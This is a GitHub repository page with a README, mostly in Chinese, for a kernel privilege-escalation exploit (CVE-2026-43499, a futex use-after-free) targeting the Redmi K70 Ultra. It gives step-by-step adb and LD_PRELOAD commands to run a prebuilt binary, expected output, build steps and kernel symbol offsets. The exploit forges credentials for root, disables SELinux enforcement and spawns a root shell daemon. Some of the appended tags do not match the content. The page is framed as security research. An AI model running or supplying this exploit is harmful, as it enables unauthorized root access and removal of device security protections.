SlightNeko/ghostlock-rothko

GitHub: SlightNeko/ghostlock-rothko

针对 Redmi K70 Ultra 的 CVE-2026-43499 内核 futex UAF 漏洞提权 PoC,通过 physmap 覆写篡改凭据实现 root 权限获取。

Stars: 3 | Forks: 6

# GhostLock (CVE-2026-43499) — Redmi K70 Ultra (rothko) Data-only physmap overwrite exploit for MediaTek Dimensity 9300+ (MT6989). Kernel: `6.1.138-android14-11` / HyperOS OS3.0.302.0.WNNCNXM. ## ⚠️ 前置条件 - **设备**: Redmi K70 Ultra (codename: rothko), Android 14 / HyperOS OS3.0.302.0.WNNCNXM - **无需解 BL** — 通过 Shizuku(无线调试)即可获得 shell 权限来运行 - **Shizuku** 或 **adb shell** 可执行 arm64 二进制 - 运行后**设备会重启**(内核 panic — 预期行为)。如需保存日志,提前连好 adb logcat ## 📦 下载 从 [GitHub Releases](https://github.com/SlightNeko/ghostlock-rothko/releases) 下载最新的 `ghostlock_rothko_strip`。 ## 🚀 测试方法(注入式提权) # 从 Release 下载 ghostlock_rothko_strip 和 preload.so 推送到设备 adb push preload.so /data/local/tmp/ adb push ghostlock_rothko_strip /data/local/tmp/ adb shell chmod 755 /data/local/tmp/ghostlock_rothko_strip # 通过 LD_PRELOAD 注入触发提权 adb shell LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_rothko_strip ## 📋 预期行为 | 阶段 | 输出 | 说明 | |------|------|------| | 初始化 | `[*] GhostLock - rothko (MT6989 D9300+) 6.1.138` | 设备识别正确 | | CPU 绑定 | `[+] CPU0 pinned` | 固定到 CPU0 | | 地址加载 | `[*] init_task @ 0xffffff800206f600` | 固定 LM 地址 | | 权限检查 | `[+] uid: xxxxx` | 打印当前 uid | | KASLR slide | `[+] slide = 0` 或 `slide = xxx` | KASLR 检测 | | 触发提权 | 成功后 uid 变 0 | 拿到 root | | LD_PRELOAD | spawn su daemon | shell 注入成功 | | 失败 | `[-] ...` + 重启 | 内核 panic(漏洞存在) | **注意**:`/proc/self/pagemap` 在 Android 6.1 内核下已被 SELinux 封锁,exploit 会回退到匿名页暴力扫描。如果连续打印 `No PFN found`,可以手动指定物理页帧号: export EXPLOIT_PFN=0x<物理页帧号> ./ghostlock_rothko_strip ## 🔧 漏洞机制(简述) CVE-2026-43499 是一个 **data-only physmap overwrite** 漏洞,利用内核 futex `CMP_REQUEUE_PI` 操作的 **use-after-free**: 1. **漏洞触发**:通过 3 个线程构造 futex PI 死锁环,触发 `rt_mutex_waiter` 的 UAF 2. **物理地址探测**:`/proc/self/pagemap` 读取(root)/ 匿名页暴力扫描(无 root) 3. **提权**:在 physmap 中找到受害页后,伪造 `task_struct` + `cred`,将当前进程的 uid/gid 改 0 4. **selinux 绕过**:置零 `selinux_state.enforcing` 5. **su daemon**:提权后在 socket 上 spawn 一个 root shell KernelSnitch(futex 时序侧信道)提供了无 pagemap 的 fallback。 ## 📊 调试输出格式 [*] GhostLock - rothko (MT6989 D9300+) 6.1.138 [+] CPU0 pinned [*] Using fixed LM addresses [*] init_task @ 0xffffff800206f600 [*] init_cred @ 0xffffff8002081a68 [+] slide = 0 [+] physmap: leaking task @ phys 0x... [*] fake task at phys 0x... [+] Credentials overwritten! [+] uid: 0 (root!) 如果设备重启且 **没有** `Credentials overwritten` 输出 → 内核触发 panic,漏洞存在但需要调整偏移。 ## 🔄 重新编译 如果你有 NDK r27+,可以自行编译: export NDK_ROOT=/path/to/android-ndk-r27 make preload TARGET_HEADER=target.h 输出在 `build/bin/ghostlock_rothko` 和 `build/bin/preload.so`。 ## 🧬 偏移表 所有偏移从 `vmlinux.elf` 的 BTF + `init_task` 原始字节双重验证提取: | 符号 | 虚拟地址 | |------|---------| | init_task | 0xffffffc009fef600 | | init_cred | 0xffffffc00a001a68 | | entry_task | 0xffffffc009fac318 | | per_cpu_offset | 0xffffffc009fdb650 | | root_task_group | 0xffffffc00a1d7580 | | selinux_enforcing | 0xffffffc00a2293d0 | 完整定义见 [`target.h`](target.h)。 ## 📜 License For research/educational purposes only. Use at your own risk. **Original PoC**: [NebuSec/CyberMeowfia](https://github.com/NebuSec/CyberMeowfia) → `IonStack/CVE-2026-43499/exploit/`
标签:Android, ARM64, DSL, MTK, Web报告查看器, 内核漏洞利用, 安全渗透, 客户端加密, 提权, 漏洞利用(CVE)